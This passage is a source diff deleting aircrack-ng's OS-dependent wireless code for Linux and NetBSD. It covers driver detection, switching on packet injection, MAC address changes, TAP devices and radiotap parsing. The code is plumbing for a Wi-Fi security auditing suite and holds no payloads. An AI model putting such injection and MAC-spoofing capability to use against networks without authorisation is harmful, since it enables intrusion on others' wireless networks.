-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "iwpriv %s 2>/dev/null | "
-				 "grep antsel_rx >/dev/null",
-				 iface);
-
-		if (system(strbuf) == 0) dev->drivertype = DT_HOSTAP;
-
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "iwpriv %s 2>/dev/null | "
-				 "grep  GetAcx111Info  >/dev/null",
-				 iface);
-
-		if (system(strbuf) == 0) dev->drivertype = DT_ACX;
-	}
-
-	/* enable injection on ralink */
-
-	if (strcmp(iface, "ra0") == 0 || strcmp(iface, "ra1") == 0
-		|| strcmp(iface, "rausb0") == 0
-		|| strcmp(iface, "rausb1") == 0)
-	{
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "iwpriv %s rfmontx 1 >/dev/null 2>/dev/null",
-				 iface);
-		unused = system(strbuf);
-	}
-
-	/* check if newer athXraw interface available */
-
-	if ((strlen(iface) >= 4 || strlen(iface) <= 6)
-		&& memcmp(iface, "ath", 3) == 0)
-	{
-		dev->drivertype = DT_MADWIFI;
-		memset(strbuf, 0, sizeof(strbuf));
-
-		snprintf(
-			strbuf, sizeof(strbuf) - 1, "/proc/sys/net/%s/%%parent", iface);
-
-		f = fopen(strbuf, "r");
-
-		if (f != NULL)
-		{
-			// It is madwifi-ng
-			dev->drivertype = DT_MADWIFING;
-			fclose(f);
-
-			/* should we force prism2 header? */
-
-			sprintf((char *) strbuf, "/proc/sys/net/%s/dev_type", iface);
-			f = fopen((char *) strbuf, "w");
-			if (f != NULL)
-			{
-				fprintf(f, "802\n");
-				fclose(f);
-			}
-
-			/* Force prism2 header on madwifi-ng */
-		}
-		else
-		{
-			// Madwifi-old
-			memset(strbuf, 0, sizeof(strbuf));
-			snprintf(strbuf,
-					 sizeof(strbuf) - 1,
-					 "sysctl -w dev.%s.rawdev=1 >/dev/null 2>/dev/null",
-					 iface);
-
-			if (system(strbuf) == 0)
-			{
-
-				athXraw[3] = iface[3];
-
-				memset(strbuf, 0, sizeof(strbuf));
-				snprintf(strbuf, sizeof(strbuf) - 1, "ifconfig %s up", athXraw);
-				unused = system(strbuf);
-
-#if 0 /* some people reported problems when prismheader is enabled */
-                memset( strbuf, 0, sizeof( strbuf ) );
-                snprintf( strbuf,  sizeof( strbuf ) - 1,
-                         "sysctl -w dev.%s.rawdev_type=1 >/dev/null 2>/dev/null",
-                         iface );
-                unused = system( strbuf );
-#endif
-
-				iface = athXraw;
-			}
-		}
-	}
-
-	/* test if orinoco */
-
-	if (memcmp(iface, "eth", 3) == 0)
-	{
-		if ((pid = fork()) == 0)
-		{
-			close(0);
-			close(1);
-			close(2);
-			unused = chdir("/");
-			execlp("iwpriv", "iwpriv", iface, "get_port3", NULL);
-			exit(1);
-		}
-
-		waitpid(pid, &n, 0);
-
-		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ORINOCO;
-
-		memset(strbuf, 0, sizeof(strbuf));
-		snprintf(strbuf,
-				 sizeof(strbuf) - 1,
-				 "iwpriv %s 2>/dev/null | "
-				 "grep get_scan_times >/dev/null",
-				 iface);
-
-		if (system(strbuf) == 0) dev->drivertype = DT_AT76USB;
-	}
-
-	/* test if zd1211rw */
-
-	if (memcmp(iface, "eth", 3) == 0)
-	{
-		if ((pid = fork()) == 0)
-		{
-			close(0);
-			close(1);
-			close(2);
-			unused = chdir("/");
-			execlp("iwpriv", "iwpriv", iface, "get_regdomain", NULL);
-			exit(1);
-		}
-
-		waitpid(pid, &n, 0);
-
-		if (WIFEXITED(n) && WEXITSTATUS(n) == 0) dev->drivertype = DT_ZD1211RW;
-	}
-
-	if (dev->drivertype == DT_IPW2200)
-	{
-		r_file = (char *) calloc(33 + strlen(iface) + 1, sizeof(char));
-		if (!r_file)
-		{
-			goto close_out;
-		}
-		snprintf(r_file,
-				 33 + strlen(iface) + 1,
-				 "/sys/class/net/%s/device/rtap_iface",
-				 iface);
-
-		if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
-		memset(buf, 0, 128);
-		unused_str = fgets(buf, 128, acpi);
-		buf[127] = '\x00';
-		// rtap iface doesn't exist
-		if (strncmp(buf, "-1", 2) == 0)
-		{
-			// repoen for writing
-			fclose(acpi);
-			if ((acpi = fopen(r_file, "w")) == NULL) goto close_out;
-			fputs("1", acpi);
-			// reopen for reading
-			fclose(acpi);
-			if ((acpi = fopen(r_file, "r")) == NULL) goto close_out;
-			unused_str = fgets(buf, 128, acpi);
-		}
-		fclose(acpi);
-
-		// use name in buf as new iface and set original iface as main iface
-		dev->main_if = (char *) malloc(strlen(iface) + 1);
-		memset(dev->main_if, 0, strlen(iface) + 1);
-		strncpy(dev->main_if, iface, strlen(iface));
-
-		iface = (char *) malloc(strlen(buf) + 1);
-		iface_malloced = 1;
-		memset(iface, 0, strlen(buf) + 1);
-		strncpy(iface, buf, strlen(buf));
-	}
-
-	/* test if rtap interface and try to find real interface */
-	if (memcmp(iface, "rtap", 4) == 0 && dev->main_if == NULL)
-	{
-		memset(&ifr, 0, sizeof(ifr));
-		strncpy(ifr.ifr_name, iface, sizeof(ifr.ifr_name) - 1);
-
-		n = 0;
-
-		if (ioctl(dev->fd_out, SIOCGIFINDEX, &ifr) < 0)
-		{
-			// create rtap interface
-			n = 1;
-		}
-
-		net_ifaces = opendir("/sys/class/net");
-		if (net_ifaces != NULL)
-		{
-			while (net_ifaces != NULL
-				   && ((this_iface = readdir(net_ifaces)) != NULL))
-			{
-				if (this_iface->d_name[0] == '.') continue;
-
-				char * new_r_file = (char *) realloc(
-					r_file,
-					(33 + strlen(this_iface->d_name) + 1) * sizeof(char));
-				if (!new_r_file)
-				{
-					continue;
-				}
-				r_file = new_r_file;
-				snprintf(r_file,
-						 33 + strlen(this_iface->d_name) + 1,
-						 "/sys/class/net/%s/device/rtap_iface",
-						 this_iface->d_name);
-
-				if ((acpi = fopen(r_file, "r")) == NULL) continue;
-				if (acpi != NULL)
-				{
-					dev->drivertype = DT_IPW2200;
-
-					memset(buf, 0, 128);
-					unused_str = fgets(buf, 128, acpi);
-					if (n == 0) // interface exists
-					{
-						if (strncmp(buf, iface, 5) == 0)
-						{
-							fclose(acpi);
-							if (net_ifaces != NULL)
-							{
-								closedir(net_ifaces);
-								net_ifaces = NULL;
-							}
-							dev->main_if = (char *) malloc(
-								strlen(this_iface->d_name) + 1);
-							strcpy(dev->main_if, this_iface->d_name);
-							break;
-						}
-					}
-					else // need to create interface
-					{
-						if (strncmp(buf, "-1", 2) == 0)
-						{
-							// repoen for writing
-							fclose(acpi);
-							if ((acpi = fopen(r_file, "w")) == NULL) continue;
-							fputs("1", acpi);
-							// reopen for reading
-							fclose(acpi);
-							if ((acpi = fopen(r_file, "r")) == NULL) continue;
-							unused_str = fgets(buf, 128, acpi);
-							if (strncmp(buf, iface, 5) == 0)
-							{
-								if (net_ifaces != NULL)
-								{
-									closedir(net_ifaces);
-									net_ifaces = NULL;
-								}
-								dev->main_if = (char *) malloc(
-									strlen(this_iface->d_name) + 1);
-								strcpy(dev->main_if, this_iface->d_name);
-								fclose(acpi);
-								break;
-							}
-						}
-					}
-					fclose(acpi);
-				}
-			}
-			if (net_ifaces != NULL) closedir(net_ifaces);
-		}
-	}
-
-	if (openraw(dev, iface, dev->fd_out, &dev->arptype_out, dev->pl_mac) != 0)
-	{
-		goto close_out;
-	}
-
-	/* don't use the same file descriptor for in and out on bcm43xx,
-	   as you read from the interface, but write into a file in /sys/...
-	 */
-	if (!(dev->drivertype == DT_BCM43XX) && !(dev->drivertype == DT_IPW2200))
-	{
-		close(dev->fd_in);
-		dev->fd_in = dev->fd_out;
-	}
-	else
-	{
-		/* if bcm43xx or ipw2200, swap both fds */
-		n = dev->fd_out;
-		dev->fd_out = dev->fd_in;
-		dev->fd_in = n;
-	}
-
-	dev->arptype_in = dev->arptype_out;
-
-	if (iface_malloced) free(iface);
-	if (r_file)
-	{
-		free(r_file);
-	}
-	return 0;
-close_out:
-	close(dev->fd_out);
-	if (r_file)
-	{
-		free(r_file);
-	}
-close_in:
-	close(dev->fd_in);
-	if (iface_malloced) free(iface);
-	if (iwpriv) free(iwpriv);
-	return 1;
-}
-
-static void do_free(struct wif * wi)
-{
-	struct priv_linux * pl = wi_priv(wi);
-
-	if (pl->wlanctlng) free(pl->wlanctlng);
-
-	if (pl->iwpriv) free(pl->iwpriv);
-
-	if (pl->iwconfig) free(pl->iwconfig);
-
-	if (pl->ifconfig) free(pl->ifconfig);
-
-	if (pl->wl) free(pl->wl);
-
-	if (pl->main_if) free(pl->main_if);
-
-	free(pl);
-	free(wi);
-}
-
-#ifndef CONFIG_LIBNL
-static void linux_close(struct wif * wi)
-{
-	struct priv_linux * pl = wi_priv(wi);
-
-	if (pl->fd_in && pl->fd_out && pl->fd_in == pl->fd_out)
-	{
-		// Only close one if both are the same
-		close(pl->fd_in);
-	}
-	else
-	{
-		if (pl->fd_in) close(pl->fd_in);
-		if (pl->fd_out) close(pl->fd_out);
-	}
-	if (pl->fd_main) close(pl->fd_main);
-
-	do_free(wi);
-}
-
-#else
-
-static void linux_close_nl80211(struct wif * wi)
-{
-	struct priv_linux * pl = wi_priv(wi);
-	nl80211_cleanup(&state);
-
-	if (pl->fd_in) close(pl->fd_in);
-	if (pl->fd_out) close(pl->fd_out);
-
-	do_free(wi);
-}
-#endif
-
-static int linux_fd(struct wif * wi)
-{
-	struct priv_linux * pl = wi_priv(wi);
-
-	return pl->fd_in;
-}
-
-static int linux_get_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_linux * pl = wi_priv(wi);
-	struct ifreq ifr;
-	int fd;
-
-	fd = wi_fd(wi);
-	/* find the interface index */
-
-	/* ipw2200 got a file opened as fd  */
-	if (pl->drivertype == DT_IPW2200)
-	{
-		memcpy(mac, pl->pl_mac, 6);
-		return 0;
-	}
-
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror("ioctl(SIOCGIFINDEX) failed");
-		return (1);
-	}
-
-	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror("ioctl(SIOCGIFHWADDR) failed");
-		return (1);
-	}
-
-	memcpy(pl->pl_mac, (unsigned char *) ifr.ifr_hwaddr.sa_data, 6);
-
-	/* XXX */
-	memcpy(mac, pl->pl_mac, 6);
-	return 0;
-}
-
-static int linux_set_mac(struct wif * wi, unsigned char * mac)
-{
-	struct priv_linux * pl = wi_priv(wi);
-	struct ifreq ifr;
-	int fd, ret;
-
-	fd = wi_fd(wi);
-	/* find the interface index */
-
-	memset(&ifr, 0, sizeof(ifr));
-	strncpy(ifr.ifr_name, wi_get_ifname(wi), sizeof(ifr.ifr_name) - 1);
-
-	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
-	{
-		printf("Interface %s: \n", wi_get_ifname(wi));
-		perror("ioctl(SIOCGIFHWADDR) failed");
-		return (1);
-	}
-
-	//         if down
-	ifr.ifr_flags &= ~(IFF_UP | IFF_BROADCAST | IFF_RUNNING);
-
-	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
-	{
-		perror("ioctl(SIOCSIFFLAGS) failed");
-		return (1);
-	}
-
-	ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
-	memcpy(ifr.ifr_hwaddr.sa_data, mac, 6);
-	memcpy(pl->pl_mac, mac, 6);
-
-	// set mac
-	ret = ioctl(fd, SIOCSIFHWADDR, &ifr);
-
-	// if up
-	ifr.ifr_flags |= IFF_UP | IFF_BROADCAST | IFF_RUNNING;
-
-	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
-	{
-		perror("ioctl(SIOCSIFFLAGS) failed");
-		return (1);
-	}
-
-	return ret;
-}
-
-static struct wif * linux_open(char * iface)
-{
-	struct wif * wi;
-	struct priv_linux * pl;
-
-	if (iface == NULL || strlen(iface) >= IFNAMSIZ)
-	{
-		return NULL;
-	}
-
-	wi = wi_alloc(sizeof(*pl));
-	if (!wi) return NULL;
-	wi->wi_read = linux_read;
-	wi->wi_write = linux_write;
-#ifdef CONFIG_LIBNL
-	linux_nl80211_init(&state);
-	wi->wi_set_ht_channel = linux_set_ht_channel_nl80211;
-	wi->wi_set_channel = linux_set_channel_nl80211;
-#else
-	wi->wi_set_channel = linux_set_channel;
-#endif // CONFIG_LIBNL
-	wi->wi_get_channel = linux_get_channel;
-	wi->wi_set_freq = linux_set_freq;
-	wi->wi_get_freq = linux_get_freq;
-#ifdef CONFIG_LIBNL
-	wi->wi_close = linux_close_nl80211;
-#else
-	wi->wi_close = linux_close;
-#endif
-	wi->wi_fd = linux_fd;
-	wi->wi_get_mac = linux_get_mac;
-	wi->wi_set_mac = linux_set_mac;
-	wi->wi_get_monitor = linux_get_monitor;
-	wi->wi_get_rate = linux_get_rate;
-	wi->wi_set_rate = linux_set_rate;
-	wi->wi_get_mtu = linux_get_mtu;
-	wi->wi_set_mtu = linux_set_mtu;
-
-	if (do_linux_open(wi, iface))
-	{
-		do_free(wi);
-		return NULL;
-	}
-
-	return wi;
-}
-
-struct wif * wi_open_osdep(char * iface) { return linux_open(iface); }
-
-EXPORT int get_battery_state(void)
-{
-	char buf[128];
-	int batteryTime = 0;
-	FILE * apm;
-	int flag;
-	char units[32];
-	int ret;
-	static int linux_apm = 1;
-	static int linux_acpi = 1;
-
-	if (linux_apm == 1)
-	{
-		char * battery_data = NULL;
-
-		if ((apm = fopen("/proc/apm", "r")) != NULL)
-		{
-			battery_data = fgets(buf, 128, apm);
-			fclose(apm);
-		}
-
-		if (battery_data != NULL)
-		{
-			int charging, ac;
-
-			ret = sscanf(battery_data,
-						 "%*s %*d.%*d %*x %x %x %x %*d%% %d %s\n",
-						 &ac,
-						 &charging,
-						 &flag,
-						 &batteryTime,
-						 units);
-			if (!ret) return 0;
-
-			if ((flag & 0x80) == 0 && charging != 0xFF && ac != 1
-				&& batteryTime != -1)
-			{
-				if (!strncmp(units, "min", 32)) batteryTime *= 60;
-			}
-			else
-				return 0;
-			linux_acpi = 0;
-			return batteryTime;
-		}
-		linux_apm = 0;
-	}
-	if (linux_acpi && !linux_apm)
-	{
-		DIR *batteries, *ac_adapters;
-		struct dirent *this_battery, *this_adapter;
-		FILE *acpi, *info;
-		char battery_state[28 + sizeof(this_adapter->d_name) + 1];
-		char battery_info[24 + sizeof(this_battery->d_name) + 1];
-		int rate = 1, remain = 0, current = 0;
-		static int total_remain = 0, total_cap = 0;
-		int batno = 0;
-		static int info_timer = 0;
-		int batt_full_capacity[3];
-		linux_apm = 0;
-		linux_acpi = 1;
-		ac_adapters = opendir("/proc/acpi/ac_adapter");
-		if (ac_adapters == NULL) return 0;
-
-		while (ac_adapters != NULL
-			   && ((this_adapter = readdir(ac_adapters)) != NULL))
-		{
-			if (this_adapter->d_name[0] == '.')
-			{
-				continue;
-			}
-			/* safe overloaded use of battery_state path var */
-			snprintf(battery_state,
-					 sizeof(battery_state),
-					 "/proc/acpi/ac_adapter/%s/state",
-					 this_adapter->d_name);
-			if ((acpi = fopen(battery_state, "r")) == NULL)
-			{
-				continue;
-			}
-			if (acpi != NULL)
-			{
-				while (fgets(buf, 128, acpi))
-				{
-					if (strstr(buf, "on-line") != NULL)
-					{
-						fclose(acpi);
-						if (ac_adapters != NULL) closedir(ac_adapters);
-						return 0;
-					}
-				}
-				fclose(acpi);
-			}
-		}
-		if (ac_adapters != NULL)
-		{
-			closedir(ac_adapters);
-		}
-
-		batteries = opendir("/proc/acpi/battery");
-		if (batteries == NULL)
-		{
-			return 0;
-		}
-
-		while (batteries != NULL
-			   && ((this_battery = readdir(batteries)) != NULL))
-		{
-			if (this_battery->d_name[0] == '.') continue;
-
-			snprintf(battery_info,
-					 sizeof(battery_info),
-					 "/proc/acpi/battery/%s/info",
-					 this_battery->d_name);
-			info = fopen(battery_info, "r");
-			batt_full_capacity[batno] = 0;
-			if (info != NULL)
-			{
-				while (fgets(buf, sizeof(buf), info) != NULL)
-					if (sscanf(buf,
-							   "last full capacity:      %d mWh",
-							   &batt_full_capacity[batno])
-						== 1)
-						continue;
-				fclose(info);
-			}
-
-			snprintf(battery_state,
-					 sizeof(battery_state),
-					 "/proc/acpi/battery/%s/state",
-					 this_battery->d_name);
-			if ((acpi = fopen(battery_state, "r")) == NULL) continue;
-			while (fgets(buf, 128, acpi))
-			{
-				if (strncmp(buf, "present:", 8) == 0)
-				{
-					/* No information for this battery */
-					if (strstr(buf, "no")) continue;
-				}
-				else if (strncmp(buf, "charging state:", 15) == 0)
-				{
-					/* the space makes it different than discharging */
-					if (strstr(buf, " charging"))
-					{
-						closedir(batteries);
-						fclose(acpi);
-						return 0;
-					}
-				}
-				else if (strncmp(buf, "present rate:", 13) == 0)
-					rate = atoi(buf + 25);
-				else if (strncmp(buf, "remaining capacity:", 19) == 0)
-				{
-					remain = atoi(buf + 25);
-					total_remain += remain;
-				}
-				else if (strncmp(buf, "present voltage:", 17) == 0)
-					current = atoi(buf + 25);
-			}
-			total_cap += batt_full_capacity[batno];
-			fclose(acpi);
-			batteryTime += (int) ((((float) remain) / rate) * 3600);
-			batno++;
-		}
-		info_timer++;
-
-		if (batteries != NULL) closedir(batteries);
-	}
-	return batteryTime;
-}

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/linux_tap.c Deleted

@@ -1,210 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for Linux. TAP routines
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-#include <linux/if.h>
-#include <linux/if_ether.h>
-#include <netinet/in.h>
-#include <linux/if_tun.h>
-#include <net/if_arp.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-
-#include "osdep.h"
-
-struct tip_linux
-{
-	int tl_fd;
-	struct ifreq tl_ifr;
-	int tl_ioctls;
-	char tl_name[MAX_IFACE_NAME];
-};
-
-static int ti_do_open_linux(struct tif * ti, char * name)
-{
-	int fd_tap;
-	struct ifreq if_request;
-	struct tip_linux * priv = ti_priv(ti);
-
-	fd_tap = open(name ? name : "/dev/net/tun", O_RDWR);
-	if (fd_tap < 0)
-	{
-		printf("error opening tap device: %s\n", strerror(errno));
-		printf("try \"modprobe tun\"\n");
-		return -1;
-	}
-
-	memset(&if_request, 0, sizeof(if_request));
-	if_request.ifr_flags = IFF_TAP | IFF_NO_PI;
-	strncpy(if_request.ifr_name, "at%d", IFNAMSIZ);
-	if (ioctl(fd_tap, TUNSETIFF, (void *) &if_request) < 0)
-	{
-		printf("error creating tap interface: %s\n", strerror(errno));
-		close(fd_tap);
-		return -1;
-	}
-
-	strncpy(priv->tl_name, if_request.ifr_name, MAX_IFACE_NAME);
-	strncpy(priv->tl_ifr.ifr_name,
-			priv->tl_name,
-			sizeof(priv->tl_ifr.ifr_name) - 1);
-
-	if ((priv->tl_ioctls = socket(PF_INET, SOCK_DGRAM, 0)) == -1)
-	{
-		priv->tl_ioctls = 0;
-		close(fd_tap);
-		return -1;
-	}
-
-	return fd_tap;
-}
-
-static void ti_do_free(struct tif * ti)
-{
-	struct tip_fbsd * priv = ti_priv(ti);
-
-	free(priv);
-	free(ti);
-}
-
-static void ti_close_linux(struct tif * ti)
-{
-	struct tip_linux * priv = ti_priv(ti);
-
-	close(priv->tl_fd);
-	close(priv->tl_ioctls);
-	ti_do_free(ti);
-}
-
-static char * ti_name_linux(struct tif * ti)
-{
-	struct tip_linux * priv = ti_priv(ti);
-
-	return priv->tl_name;
-}
-
-static int ti_set_mtu_linux(struct tif * ti, int mtu)
-{
-	struct tip_linux * priv = ti_priv(ti);
-
-	priv->tl_ifr.ifr_mtu = mtu;
-
-	return ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr);
-}
-
-static int ti_get_mtu_linux(struct tif * ti)
-{
-	int mtu;
-	struct tip_linux * priv = ti_priv(ti);
-
-	if (ioctl(priv->tl_ioctls, SIOCSIFMTU, &priv->tl_ifr) != -1)
-	{
-		mtu = priv->tl_ifr.ifr_mtu;
-	}
-	else
-	{
-		mtu = 1500;
-	}
-
-	return mtu;
-}
-
-static int ti_set_mac_linux(struct tif * ti, unsigned char * mac)
-{
-	struct tip_linux * priv = ti_priv(ti);
-
-	memcpy(priv->tl_ifr.ifr_hwaddr.sa_data, mac, 6);
-	priv->tl_ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER;
-
-	return ioctl(priv->tl_ioctls, SIOCSIFHWADDR, &priv->tl_ifr);
-}
-
-static int ti_set_ip_linux(struct tif * ti, struct in_addr * ip)
-{
-	struct tip_linux * priv = ti_priv(ti);
-	struct sockaddr_in * s_in;
-
-	s_in = (struct sockaddr_in *) &priv->tl_ifr.ifr_addr;
-	s_in->sin_family = AF_INET;
-	s_in->sin_addr = *ip;
-
-	return ioctl(priv->tl_ioctls, SIOCSIFADDR, &priv->tl_ifr);
-}
-
-static int ti_fd_linux(struct tif * ti)
-{
-	struct tip_linux * priv = ti_priv(ti);
-
-	return priv->tl_fd;
-}
-
-static int ti_read_linux(struct tif * ti, void * buf, int len)
-{
-	return read(ti_fd(ti), buf, len);
-}
-
-static int ti_write_linux(struct tif * ti, void * buf, int len)
-{
-	return write(ti_fd(ti), buf, len);
-}
-
-static struct tif * ti_open_linux(char * iface)
-{
-	struct tif * ti;
-	struct tip_linux * priv;
-	int fd;
-
-	/* setup ti struct */
-	ti = ti_alloc(sizeof(*priv));
-	if (!ti) return NULL;
-	ti->ti_name = ti_name_linux;
-	ti->ti_set_mtu = ti_set_mtu_linux;
-	ti->ti_get_mtu = ti_get_mtu_linux;
-	ti->ti_close = ti_close_linux;
-	ti->ti_fd = ti_fd_linux;
-	ti->ti_read = ti_read_linux;
-	ti->ti_write = ti_write_linux;
-	ti->ti_set_mac = ti_set_mac_linux;
-	ti->ti_set_ip = ti_set_ip_linux;
-
-	/* setup iface */
-	fd = ti_do_open_linux(ti, iface);
-	if (fd == -1)
-	{
-		ti_do_free(ti);
-		return NULL;
-	}
-
-	/* setup private state */
-	priv = ti_priv(ti);
-	priv->tl_fd = fd;
-
-	return ti;
-}
-
-EXPORT struct tif * ti_open(char * iface) { return ti_open_linux(iface); }

aircrack-ng-1.4.tar.gz/src/aircrack-osdep/netbsd.c Deleted

@@ -1,565 +0,0 @@
-/*
-  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
-  *
-  *  OS dependent API for NetBSD.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-  *  the Free Software Foundation; either version 2 of the License, or
-  *  (at your option) any later version.
-  *
-  *  This program is distributed in the hope that it will be useful,
-  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
-  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-  *  GNU General Public License for more details.
-  *
-  *  You should have received a copy of the GNU General Public License
-  *  along with this program; if not, write to the Free Software
-  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
-  */
-
-#include <sys/types.h>
-#include <sys/endian.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <sys/param.h>
-#include <sys/sysctl.h>
-#include <net/bpf.h>
-#include <sys/socket.h>
-#include <net/if.h>
-#include <net/if_media.h>
-#include <sys/ioctl.h>
-#include <net/if_dl.h>
-#include <net80211/ieee80211.h>
-#include <net80211/ieee80211_crypto.h>
-#include <net80211/ieee80211_ioctl.h>
-#include <net80211/ieee80211_radiotap.h>
-#include <net80211/ieee80211_proto.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <sys/uio.h>
-#include <assert.h>
-#include <ifaddrs.h>
-
-#include "osdep.h"
-
-#ifndef IEEE80211_RADIOTAP_F_FCS
-#define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */
-#endif
-
-#ifndef IEEE80211_IOC_CHANNEL
-#define IEEE80211_IOC_CHANNEL 0
-#endif
-
-#ifndef le32toh
-#define le32toh(x) htole32(x)
-#endif
-
-struct priv_nbsd
-{
-	/* iface */
-	int pn_fd;
-
-	/* rx */
-	int pn_nocrc;
-
-	/* tx */
-	unsigned char pn_buf[4096];
-	unsigned char * pn_next;
-	int pn_totlen;
-
-	/* setchan */
-	int pn_s;
-	struct ifreq pn_ifr;
-	struct ieee80211chanreq pn_ireq;
-	int pn_chan;
-};
-
-static void get_radiotap_info(struct priv_nbsd * pn,
-							  struct ieee80211_radiotap_header * rth,
-							  int * plen,
-							  struct rx_info * ri)
-{
-	uint32_t present;
-	uint8_t rflags = 0;
-	int i;
-	unsigned char * body = (unsigned char *) (rth + 1);
-	int dbm_power = 0, db_power = 0;
-
-	/* reset control info */
-	if (ri) memset(ri, 0, sizeof(*ri));
-
-	/* get info */
-	present = le32toh(rth->it_present);
-	for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++)
-	{
-		if (!(present & (1 << i))) continue;
-
-		switch (i)
-		{
-			case IEEE80211_RADIOTAP_TSFT:
-				body += sizeof(uint64_t);
-				break;
-
-			case IEEE80211_RADIOTAP_FLAGS:
-				rflags = *((uint8_t *) body);
-			/* fall through */
-			case IEEE80211_RADIOTAP_RATE:
-				body += sizeof(uint8_t);
-				break;
-
-			case IEEE80211_RADIOTAP_CHANNEL:
-				if (ri)
-				{
-					ri->ri_channel = 1;
-				}
-				body += sizeof(uint16_t) * 2;
-				break;
-
-			case IEEE80211_RADIOTAP_FHSS:
-				body += sizeof(uint16_t);
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
-				dbm_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DBM_ANTNOISE:
-				dbm_power -= *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
-				db_power = *body++;
-				break;
-
-			case IEEE80211_RADIOTAP_DB_ANTNOISE:
-				db_power -= *body++;
-				break;
-
-			default:
-				i = IEEE80211_RADIOTAP_EXT + 1;
-				break;
-		}
-	}
-
-	/* set power */
-	if (ri)
-	{
-		if (dbm_power)
-			ri->ri_power = dbm_power;
-		else
-			ri->ri_power = db_power;
-	}
-
-	/* XXX cache; drivers won't change this per-packet */
-	/* check if FCS/CRC is included in packet */
-	if (pn->pn_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS))
-	{
-		*plen -= IEEE80211_CRC_LEN;
-		pn->pn_nocrc = 1;
-	}
-}
-
-static unsigned char *
-get_80211(struct priv_nbsd * pn, int * plen, struct rx_info * ri)
-{
-	struct bpf_hdr * bpfh;
-	struct ieee80211_radiotap_header * rth;
-	void * ptr;
-	unsigned char ** data;
-	int * totlen;
-
-	data = &pn->pn_next;
-	totlen = &pn->pn_totlen;
-	assert(*totlen);
-
-	/* bpf hdr */
-	bpfh = (struct bpf_hdr *) (*data);
-	assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
-	*totlen -= bpfh->bh_hdrlen;
-
-	/* check if more packets */
-	if ((int) bpfh->bh_caplen < *totlen)
-	{
-		int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
-		int offset = BPF_WORDALIGN(tot);
-
-		*data = (unsigned char *) bpfh + offset;
-		*totlen -= offset - tot; /* take into account align bytes */
-	}
-	else if ((int) bpfh->bh_caplen > *totlen)
-		abort();
-
-	*plen = bpfh->bh_caplen;
-	*totlen -= bpfh->bh_caplen;
-	assert(*totlen >= 0);
-
-	/* radiotap */
-	rth = (struct ieee80211_radiotap_header *) ((char *) bpfh
-												+ bpfh->bh_hdrlen);
-	get_radiotap_info(pn, rth, plen, ri);
-	*plen -= rth->it_len;
-	assert(*plen > 0);
-
-	/* data */
-	ptr = (char *) rth + rth->it_len;
-
-	return ptr;
-}
-
-static int nbsd_get_channel(struct wif * wi)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-
-	if (ioctl(pn->pn_s, SIOCG80211CHANNEL, (caddr_t) &channel) < 0) return -1;
-
-	return channel.i_channel;
-}
-
-static int nbsd_set_channel(struct wif * wi, int chan)
-{
-	struct priv_nbsd * pn = wi_priv(wi);
-	struct ieee80211chanreq channel;
-
-	memset(&channel, 0, sizeof(channel));
-	strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name));
-	channel.i_channel = chan;
-	if (ioctl(pn->pn_s, SIOCS80211CHANNEL, (caddr_t) &channel) < 0) return -1;
-	pn->pn_chan = chan;
-
-	return 0;
-}
-
-static int
